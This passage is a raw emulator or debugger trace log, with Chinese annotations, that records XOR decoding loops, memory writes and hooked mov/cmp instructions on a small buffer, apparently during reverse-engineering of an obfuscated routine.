[WRITE] @0x2003f26 ← 0x30
[XOR @0x1000fd9] MEM[0x2003f27] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f27 ← 0x01
[XOR @0x1000fd9] MEM[0x2003f28] 0x30 ^ AL(0x32) → 0x02
寫入後 MEM = 0x30
[WRITE] @0x2003f28 ← 0x02
[XOR @0x1000fd9] MEM[0x2003f29] 0x03 ^ AL(0x31) → 0x32
寫入後 MEM = 0x03
[WRITE] @0x2003f29 ← 0x32
[XOR @0x1000fd9] MEM[0x2003f2a] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f2a ← 0x31
[XOR @0x1000fd9] MEM[0x2003f2b] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f2b ← 0x01
[XOR @0x1000fd9] MEM[0x2003f2c] 0x33 ^ AL(0x31) → 0x02
寫入後 MEM = 0x33
[WRITE] @0x2003f2c ← 0x02
[XOR @0x1000fd9] MEM[0x2003f2d] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f2d ← 0x31
[XOR @0x1000fd9] MEM[0x2003f2e] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f2e ← 0x31
[XOR @0x1000fd9] MEM[0x2003f2f] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f2f ← 0x31
[XOR @0x1000fd9] MEM[0x2003f30] 0x30 ^ AL(0x03) → 0x33
寫入後 MEM = 0x30
[WRITE] @0x2003f30 ← 0x33
[XOR @0x1000fd9] MEM[0x2003f31] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f31 ← 0x01
[XOR @0x1000fd9] MEM[0x2003f32] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f32 ← 0x02
[XOR @0x1000fd9] MEM[0x2003f33] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f33 ← 0x01
[STATE] ESI ← 0x24
[HOOK MOV] @0x01000384: mov esi, 0x26
[XOR @0x1000398] MEM[0x2003f20] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f20 ← 0x01
[HOOK CMP] @0x0100039e: cmp esi, 0x4d
[XOR @0x1000398] MEM[0x2003f21] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f21 ← 0x31
[XOR @0x1000398] MEM[0x2003f22] 0x02 ^ AL(0x31) → 0x33
寫入後 MEM = 0x02
[WRITE] @0x2003f22 ← 0x33
[XOR @0x1000398] MEM[0x2003f23] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f23 ← 0x30
[XOR @0x1000398] MEM[0x2003f24] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f24 ← 0x30
[XOR @0x1000398] MEM[0x2003f25] 0x01 ^ AL(0x33) → 0x32
寫入後 MEM = 0x01
[WRITE] @0x2003f25 ← 0x32
[XOR @0x1000398] MEM[0x2003f26] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f26 ← 0x30
[XOR @0x1000398] MEM[0x2003f27] 0x01 ^ AL(0x02) → 0x03
寫入後 MEM = 0x01
[WRITE] @0x2003f27 ← 0x03
[XOR @0x1000398] MEM[0x2003f28] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f28 ← 0x02
[XOR @0x1000398] MEM[0x2003f29] 0x32 ^ AL(0x01) → 0x33
寫入後 MEM = 0x32
[WRITE] @0x2003f29 ← 0x33
[XOR @0x1000398] MEM[0x2003f2a] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f2a ← 0x00
[XOR @0x1000398] MEM[0x2003f2b] 0x01 ^ AL(0x33) → 0x32
寫入後 MEM = 0x01
[WRITE] @0x2003f2b ← 0x32
[XOR @0x1000398] MEM[0x2003f2c] 0x02 ^ AL(0x30) → 0x32
寫入後 MEM = 0x02
[WRITE] @0x2003f2c ← 0x32
[XOR @0x1000398] MEM[0x2003f2d] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f2d ← 0x01
[XOR @0x1000398] MEM[0x2003f2e] 0x31 ^ AL(0x32) → 0x03
寫入後 MEM = 0x31
[WRITE] @0x2003f2e ← 0x03
[XOR @0x1000398] MEM[0x2003f2f] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f2f ← 0x01
[XOR @0x1000398] MEM[0x2003f30] 0x33 ^ AL(0x03) → 0x30
寫入後 MEM = 0x33
[WRITE] @0x2003f30 ← 0x30
[XOR @0x1000398] MEM[0x2003f31] 0x01 ^ AL(0x02) → 0x03
寫入後 MEM = 0x01
[WRITE] @0x2003f31 ← 0x03
[XOR @0x1000398] MEM[0x2003f32] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f32 ← 0x31
[XOR @0x1000398] MEM[0x2003f33] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f33 ← 0x01
[XOR @0x1000398] MEM[0x2003f34] 0x30 ^ AL(0x32) → 0x02
寫入後 MEM = 0x30
[WRITE] @0x2003f34 ← 0x02
[XOR @0x1000398] MEM[0x2003f35] 0x03 ^ AL(0x32) → 0x31
寫入後 MEM = 0x03
[WRITE] @0x2003f35 ← 0x31
[XOR @0x1000398] MEM[0x2003f36] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f36 ← 0x31
[XOR @0x1000398] MEM[0x2003f37] 0x32 ^ AL(0x03) → 0x31
寫入後 MEM = 0x32
[WRITE] @0x2003f37 ← 0x31
[XOR @0x1000398] MEM[0x2003f38] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f38 ← 0x31
[XOR @0x1000398] MEM[0x2003f39] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f39 ← 0x02
[XOR @0x1000398] MEM[0x2003f3a] 0x31 ^ AL(0x03) → 0x32
寫入後 MEM = 0x31
[WRITE] @0x2003f3a ← 0x32
[XOR @0x1000398] MEM[0x2003f3b] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f3b ← 0x03
[XOR @0x1000398] MEM[0x2003f3c] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f3c ← 0x30
[XOR @0x1000398] MEM[0x2003f3d] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f3d ← 0x33
[XOR @0x1000398] MEM[0x2003f3e] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f3e ← 0x31
[XOR @0x1000398] MEM[0x2003f3f] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f3f ← 0x00
[XOR @0x1000398] MEM[0x2003f40] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f40 ← 0x31
[XOR @0x1000398] MEM[0x2003f41] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f41 ← 0x00
[XOR @0x1000398] MEM[0x2003f42] 0x01 ^ AL(0x02) → 0x03
寫入後 MEM = 0x01
[WRITE] @0x2003f42 ← 0x03
[XOR @0x1000398] MEM[0x2003f43] 0x03 ^ AL(0x32) → 0x31
寫入後 MEM = 0x03
[WRITE] @0x2003f43 ← 0x31
[XOR @0x1000398] MEM[0x2003f44] 0x31 ^ AL(0x03) → 0x32
寫入後 MEM = 0x31
[WRITE] @0x2003f44 ← 0x32
[XOR @0x1000398] MEM[0x2003f45] 0x30 ^ AL(0x30) → 0x00
寫入後 MEM = 0x30
[WRITE] @0x2003f45 ← 0x00
[XOR @0x1000398] MEM[0x2003f46] 0x30 ^ AL(0x33) → 0x03
寫入後 MEM = 0x30
[WRITE] @0x2003f46 ← 0x03
[STATE] ESI ← 0x51
[HOOK MOV] @0x01000de8: mov esi, 0x15
[XOR @0x1000dfc] MEM[0x2003f20] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f20 ← 0x30
[HOOK CMP] @0x01000e02: cmp esi, 0x2b
[XOR @0x1000dfc] MEM[0x2003f21] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f21 ← 0x00
[XOR @0x1000dfc] MEM[0x2003f22] 0x33 ^ AL(0x31) → 0x02
寫入後 MEM = 0x33
[WRITE] @0x2003f22 ← 0x02
[XOR @0x1000dfc] MEM[0x2003f23] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f23 ← 0x01
[XOR @0x1000dfc] MEM[0x2003f24] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f24 ← 0x32
[XOR @0x1000dfc] MEM[0x2003f25] 0x32 ^ AL(0x32) → 0x00
寫入後 MEM = 0x32
[WRITE] @0x2003f25 ← 0x00
[XOR @0x1000dfc] MEM[0x2003f26] 0x30 ^ AL(0x03) → 0x33
寫入後 MEM = 0x30
[WRITE] @0x2003f26 ← 0x33
[XOR @0x1000dfc] MEM[0x2003f27] 0x03 ^ AL(0x30) → 0x33
寫入後 MEM = 0x03
[WRITE] @0x2003f27 ← 0x33
[XOR @0x1000dfc] MEM[0x2003f28] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f28 ← 0x31
[XOR @0x1000dfc] MEM[0x2003f29] 0x33 ^ AL(0x31) → 0x02
寫入後 MEM = 0x33
[WRITE] @0x2003f29 ← 0x02
[XOR @0x1000dfc] MEM[0x2003f2a] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f2a ← 0x00
[XOR @0x1000dfc] MEM[0x2003f2b] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f2b ← 0x03
[XOR @0x1000dfc] MEM[0x2003f2c] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f2c ← 0x32
[XOR @0x1000dfc] MEM[0x2003f2d] 0x01 ^ AL(0x03) → 0x02
寫入後 MEM = 0x01
[WRITE] @0x2003f2d ← 0x02
[XOR @0x1000dfc] MEM[0x2003f2e] 0x03 ^ AL(0x31) → 0x32
寫入後 MEM = 0x03
[WRITE] @0x2003f2e ← 0x32
[XOR @0x1000dfc] MEM[0x2003f2f] 0x01 ^ AL(0x32) → 0x33
寫入後 MEM = 0x01
[WRITE] @0x2003f2f ← 0x33
[XOR @0x1000dfc] MEM[0x2003f30] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f30 ← 0x30
[XOR @0x1000dfc] MEM[0x2003f31] 0x03 ^ AL(0x03) → 0x00
寫入後 MEM = 0x03
[WRITE] @0x2003f31 ← 0x00
[XOR @0x1000dfc] MEM[0x2003f32] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f32 ← 0x00
[XOR @0x1000dfc] MEM[0x2003f33] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f33 ← 0x30
[XOR @0x1000dfc] MEM[0x2003f34] 0x02 ^ AL(0x01) → 0x03
寫入後 MEM = 0x02
[WRITE] @0x2003f34 ← 0x03
[XOR @0x1000dfc] MEM[0x2003f35] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f35 ← 0x01
[STATE] ESI ← 0x4D
[HOOK MOV] @0x0100116c: mov esi, 0x1d
[XOR @0x1001180] MEM[0x2003f20] 0x30 ^ AL(0x33) → 0x03
寫入後 MEM = 0x30
[WRITE] @0x2003f20 ← 0x03
[HOOK CMP] @0x01001186: cmp esi, 0x3b
[XOR @0x1001180] MEM[0x2003f21] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f21 ← 0x31
[XOR @0x1001180] MEM[0x2003f22] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f22 ← 0x02
[XOR @0x1001180] MEM[0x2003f23] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f23 ← 0x30
[XOR @0x1001180] MEM[0x2003f24] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f24 ← 0x32
[XOR @0x1001180] MEM[0x2003f25] 0x00 ^ AL(0x03) → 0x03
寫入後 MEM = 0x00
[WRITE] @0x2003f25 ← 0x03
[XOR @0x1001180] MEM[0x2003f26] 0x33 ^ AL(0x31) → 0x02
寫入後 MEM = 0x33
[WRITE] @0x2003f26 ← 0x02
[XOR @0x1001180] MEM[0x2003f27] 0x33 ^ AL(0x32) → 0x01
寫入後 MEM = 0x33
[WRITE] @0x2003f27 ← 0x01
[XOR @0x1001180] MEM[0x2003f28] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f28 ← 0x31
[XOR @0x1001180] MEM[0x2003f29] 0x02 ^ AL(0x03) → 0x01
寫入後 MEM = 0x02
[WRITE] @0x2003f29 ← 0x01
[XOR @0x1001180] MEM[0x2003f2a] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f2a ← 0x31
[XOR @0x1001180] MEM[0x2003f2b] 0x03 ^ AL(0x31) → 0x32
寫入後 MEM = 0x03
[WRITE] @0x2003f2b ← 0x32
[XOR @0x1001180] MEM[0x2003f2c] 0x32 ^ AL(0x01) → 0x33
寫入後 MEM = 0x32
[WRITE] @0x2003f2c ← 0x33
[XOR @0x1001180] MEM[0x2003f2d] 0x02 ^ AL(0x30) → 0x32
寫入後 MEM = 0x02
[WRITE] @0x2003f2d ← 0x32
[XOR @0x1001180] MEM[0x2003f2e] 0x32 ^ AL(0x33) → 0x01
寫入後 MEM = 0x32
[WRITE] @0x2003f2e ← 0x01
[XOR @0x1001180] MEM[0x2003f2f] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f2f ← 0x33
[XOR @0x1001180] MEM[0x2003f30] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f30 ← 0x32
[XOR @0x1001180] MEM[0x2003f31] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f31 ← 0x00
[XOR @0x1001180] MEM[0x2003f32] 0x00 ^ AL(0x03) → 0x03
寫入後 MEM = 0x00
[WRITE] @0x2003f32 ← 0x03
[XOR @0x1001180] MEM[0x2003f33] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f33 ← 0x01
[XOR @0x1001180] MEM[0x2003f34] 0x03 ^ AL(0x02) → 0x01
寫入後 MEM = 0x03
[WRITE] @0x2003f34 ← 0x01
[XOR @0x1001180] MEM[0x2003f35] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f35 ← 0x31
[XOR @0x1001180] MEM[0x2003f36] 0x31 ^ AL(0x32) → 0x03
寫入後 MEM = 0x31
[WRITE] @0x2003f36 ← 0x03
[XOR @0x1001180] MEM[0x2003f37] 0x31 ^ AL(0x03) → 0x32
寫入後 MEM = 0x31
[WRITE] @0x2003f37 ← 0x32
[XOR @0x1001180] MEM[0x2003f38] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f38 ← 0x33
[XOR @0x1001180] MEM[0x2003f39] 0x02 ^ AL(0x01) → 0x03
寫入後 MEM = 0x02
[WRITE] @0x2003f39 ← 0x03
[XOR @0x1001180] MEM[0x2003f3a] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f3a ← 0x03
[XOR @0x1001180] MEM[0x2003f3b] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f3b ← 0x02
[XOR @0x1001180] MEM[0x2003f3c] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f3c ← 0x01
[XOR @0x1001180] MEM[0x2003f3d] 0x33 ^ AL(0x32) → 0x01
寫入後 MEM = 0x33
[WRITE] @0x2003f3d ← 0x01
[STATE] ESI ← 0x64
[HOOK MOV] @0x01000a50: mov esi, 0x16
[XOR @0x1000a64] MEM[0x2003f20] 0x03 ^ AL(0x03) → 0x00
寫入後 MEM = 0x03
[WRITE] @0x2003f20 ← 0x00
[HOOK CMP] @0x01000a6a: cmp esi, 0x2d
[XOR @0x1000a64] MEM[0x2003f21] 0x31 ^ AL(0x32) → 0x03
寫入後 MEM = 0x31
[WRITE] @0x2003f21 ← 0x03
[XOR @0x1000a64] MEM[0x2003f22] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f22 ← 0x31
[XOR @0x1000a64] MEM[0x2003f23] 0x30 ^ AL(0x03) → 0x33
寫入後 MEM = 0x30
[WRITE] @0x2003f23 ← 0x33
[XOR @0x1000a64] MEM[0x2003f24] 0x32 ^ AL(0x03) → 0x31
寫入後 MEM = 0x32
[WRITE] @0x2003f24 ← 0x31
[XOR @0x1000a64] MEM[0x2003f25] 0x03 ^ AL(0x02) → 0x01
寫入後 MEM = 0x03
[WRITE] @0x2003f25 ← 0x01
[XOR @0x1000a64] MEM[0x2003f26] 0x02 ^ AL(0x01) → 0x03
寫入後 MEM = 0x02
[WRITE] @0x2003f26 ← 0x03
[XOR @0x1000a64] MEM[0x2003f27] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f27 ← 0x00
[XOR @0x1000a64] MEM[0x2003f28] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f28 ← 0x00
[XOR @0x1000a64] MEM[0x2003f29] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f29 ← 0x01
[XOR @0x1000a64] MEM[0x2003f2a] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f2a ← 0x00
[XOR @0x1000a64] MEM[0x2003f2b] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f2b ← 0x32
[XOR @0x1000a64] MEM[0x2003f2c] 0x33 ^ AL(0x03) → 0x30
寫入後 MEM = 0x33
[WRITE] @0x2003f2c ← 0x30
[XOR @0x1000a64] MEM[0x2003f2d] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f2d ← 0x03
[XOR @0x1000a64] MEM[0x2003f2e] 0x01 ^ AL(0x32) → 0x33
寫入後 MEM = 0x01
[WRITE] @0x2003f2e ← 0x33
[XOR @0x1000a64] MEM[0x2003f2f] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f2f ← 0x33
[XOR @0x1000a64] MEM[0x2003f30] 0x32 ^ AL(0x03) → 0x31
寫入後 MEM = 0x32
[WRITE] @0x2003f30 ← 0x31
[XOR @0x1000a64] MEM[0x2003f31] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f31 ← 0x31
[XOR @0x1000a64] MEM[0x2003f32] 0x03 ^ AL(0x31) → 0x32
寫入後 MEM = 0x03
[WRITE] @0x2003f32 ← 0x32
[XOR @0x1000a64] MEM[0x2003f33] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f33 ← 0x00
[XOR @0x1000a64] MEM[0x2003f34] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f34 ← 0x31
[XOR @0x1000a64] MEM[0x2003f35] 0x31 ^ AL(0x33) → 0x02
寫入後 MEM = 0x31
[WRITE] @0x2003f35 ← 0x02
[XOR @0x1000a64] MEM[0x2003f36] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f36 ← 0x03
[STATE] ESI ← 0x5A
[HOOK MOV] @0x010004e9: mov esi, 0x4
[XOR @0x10004fd] MEM[0x2003f20] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f20 ← 0x31
[HOOK CMP] @0x01000503: cmp esi, 0x9
[XOR @0x10004fd] MEM[0x2003f21] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f21 ← 0x02
[XOR @0x10004fd] MEM[0x2003f22] 0x31 ^ AL(0x03) → 0x32
寫入後 MEM = 0x31
[WRITE] @0x2003f22 ← 0x32
[XOR @0x10004fd] MEM[0x2003f23] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f23 ← 0x33
[XOR @0x10004fd] MEM[0x2003f24] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f24 ← 0x31
[STATE] ESI ← 0x3A
[HOOK MOV] @0x01000965: mov esi, 0x2
[XOR @0x1000979] MEM[0x2003f20] 0x31 ^ AL(0x32) → 0x03
寫入後 MEM = 0x31
[WRITE] @0x2003f20 ← 0x03
[HOOK CMP] @0x0100097f: cmp esi, 0x5
[XOR @0x1000979] MEM[0x2003f21] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f21 ← 0x31
[XOR @0x1000979] MEM[0x2003f22] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f22 ← 0x03
[STATE] ESI ← 0x04
[HOOK MOV] @0x01000c48: mov esi, 0xa
[HOOK MOV] @0x01000c4d: mov esi, 0x2f
[WRITE] @0x2003f20 ← 0x03
[HOOK CMP] @0x01000c63: cmp esi, 0x15
[WRITE] @0x2003f21 ← 0x03
[WRITE] @0x2003f22 ← 0x33
[WRITE] @0x2003f23 ← 0x30
[WRITE] @0x2003f24 ← 0x02
[WRITE] @0x2003f25 ← 0x32
[WRITE] @0x2003f26 ← 0x32
[WRITE] @0x2003f27 ← 0x31
[WRITE] @0x2003f28 ← 0x32
[WRITE] @0x2003f29 ← 0x01
[WRITE] @0x2003f2a ← 0x31
[STATE] ESI ← 0x26
[HOOK MOV] @0x0100087a: mov esi, 0x9
[XOR @0x100088e] MEM[0x2003f20] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f20 ← 0x02
[HOOK CMP] @0x01000894: cmp esi, 0x13
[XOR @0x100088e] MEM[0x2003f21] 0x03 ^ AL(0x31) → 0x32
寫入後 MEM = 0x03
[WRITE] @0x2003f21 ← 0x32
[XOR @0x100088e] MEM[0x2003f22] 0x33 ^ AL(0x32) → 0x01
寫入後 MEM = 0x33
[WRITE] @0x2003f22 ← 0x01
[XOR @0x100088e] MEM[0x2003f23] 0x30 ^ AL(0x30) → 0x00
寫入後 MEM = 0x30
[WRITE] @0x2003f23 ← 0x00
[XOR @0x100088e] MEM[0x2003f24] 0x02 ^ AL(0x03) → 0x01
寫入後 MEM = 0x02
[WRITE] @0x2003f24 ← 0x01
[XOR @0x100088e] MEM[0x2003f25] 0x32 ^ AL(0x33) → 0x01
寫入後 MEM = 0x32
[WRITE] @0x2003f25 ← 0x01
[XOR @0x100088e] MEM[0x2003f26] 0x32 ^ AL(0x33) → 0x01
寫入後 MEM = 0x32
[WRITE] @0x2003f26 ← 0x01
[XOR @0x100088e] MEM[0x2003f27] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f27 ← 0x00
[XOR @0x100088e] MEM[0x2003f28] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f28 ← 0x03
[XOR @0x100088e] MEM[0x2003f29] 0x01 ^ AL(0x32) → 0x33
寫入後 MEM = 0x01
[WRITE] @0x2003f29 ← 0x33
[STATE] ESI ← 0x35
[HOOK MOV] @0x01000b35: mov esi, 0x24
[XOR @0x1000b49] MEM[0x2003f20] 0x02 ^ AL(0x32) → 0x30
寫入後 MEM = 0x02
[WRITE] @0x2003f20 ← 0x30
[HOOK CMP] @0x01000b4f: cmp esi, 0x49
[XOR @0x1000b49] MEM[0x2003f21] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f21 ← 0x32
[XOR @0x1000b49] MEM[0x2003f22] 0x01 ^ AL(0x03) → 0x02
寫入後 MEM = 0x01
[WRITE] @0x2003f22 ← 0x02
[XOR @0x1000b49] MEM[0x2003f23] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f23 ← 0x31
[XOR @0x1000b49] MEM[0x2003f24] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f24 ← 0x30
[XOR @0x1000b49] MEM[0x2003f25] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f25 ← 0x00
[XOR @0x1000b49] MEM[0x2003f26] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f26 ← 0x31
[XOR @0x1000b49] MEM[0x2003f27] 0x00 ^ AL(0x33) → 0x33
寫入後 MEM = 0x00
[WRITE] @0x2003f27 ← 0x33
[XOR @0x1000b49] MEM[0x2003f28] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f28 ← 0x03
[XOR @0x1000b49] MEM[0x2003f29] 0x33 ^ AL(0x02) → 0x31
寫入後 MEM = 0x33
[WRITE] @0x2003f29 ← 0x31
[XOR @0x1000b49] MEM[0x2003f2a] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f2a ← 0x31
[XOR @0x1000b49] MEM[0x2003f2b] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f2b ← 0x02
[XOR @0x1000b49] MEM[0x2003f2c] 0x30 ^ AL(0x32) → 0x02
寫入後 MEM = 0x30
[WRITE] @0x2003f2c ← 0x02
[XOR @0x1000b49] MEM[0x2003f2d] 0x03 ^ AL(0x02) → 0x01
寫入後 MEM = 0x03
[WRITE] @0x2003f2d ← 0x01
[XOR @0x1000b49] MEM[0x2003f2e] 0x33 ^ AL(0x31) → 0x02
寫入後 MEM = 0x33
[WRITE] @0x2003f2e ← 0x02
[XOR @0x1000b49] MEM[0x2003f2f] 0x33 ^ AL(0x30) → 0x03
寫入後 MEM = 0x33
[WRITE] @0x2003f2f ← 0x03
[XOR @0x1000b49] MEM[0x2003f30] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f30 ← 0x31
[XOR @0x1000b49] MEM[0x2003f31] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f31 ← 0x00
[XOR @0x1000b49] MEM[0x2003f32] 0x32 ^ AL(0x33) → 0x01
寫入後 MEM = 0x32
[WRITE] @0x2003f32 ← 0x01
[XOR @0x1000b49] MEM[0x2003f33] 0x00 ^ AL(0x03) → 0x03
寫入後 MEM = 0x00
[WRITE] @0x2003f33 ← 0x03
[XOR @0x1000b49] MEM[0x2003f34] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f34 ← 0x00
[XOR @0x1000b49] MEM[0x2003f35] 0x02 ^ AL(0x31) → 0x33
寫入後 MEM = 0x02
[WRITE] @0x2003f35 ← 0x33
[XOR @0x1000b49] MEM[0x2003f36] 0x03 ^ AL(0x02) → 0x01
寫入後 MEM = 0x03
[WRITE] @0x2003f36 ← 0x01
[XOR @0x1000b49] MEM[0x2003f37] 0x32 ^ AL(0x02) → 0x30
寫入後 MEM = 0x32
[WRITE] @0x2003f37 ← 0x30
[XOR @0x1000b49] MEM[0x2003f38] 0x33 ^ AL(0x01) → 0x32
寫入後 MEM = 0x33
[WRITE] @0x2003f38 ← 0x32
[XOR @0x1000b49] MEM[0x2003f39] 0x03 ^ AL(0x02) → 0x01
寫入後 MEM = 0x03
[WRITE] @0x2003f39 ← 0x01
[XOR @0x1000b49] MEM[0x2003f3a] 0x03 ^ AL(0x03) → 0x00
寫入後 MEM = 0x03
[WRITE] @0x2003f3a ← 0x00
[XOR @0x1000b49] MEM[0x2003f3b] 0x02 ^ AL(0x31) → 0x33
寫入後 MEM = 0x02
[WRITE] @0x2003f3b ← 0x33
[XOR @0x1000b49] MEM[0x2003f3c] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f3c ← 0x01
[XOR @0x1000b49] MEM[0x2003f3d] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f3d ← 0x00
[XOR @0x1000b49] MEM[0x2003f3e] 0x31 ^ AL(0x03) → 0x32
寫入後 MEM = 0x31
[WRITE] @0x2003f3e ← 0x32
[XOR @0x1000b49] MEM[0x2003f3f] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f3f ← 0x00
[XOR @0x1000b49] MEM[0x2003f40] 0x31 ^ AL(0x33) → 0x02
寫入後 MEM = 0x31
[WRITE] @0x2003f40 ← 0x02
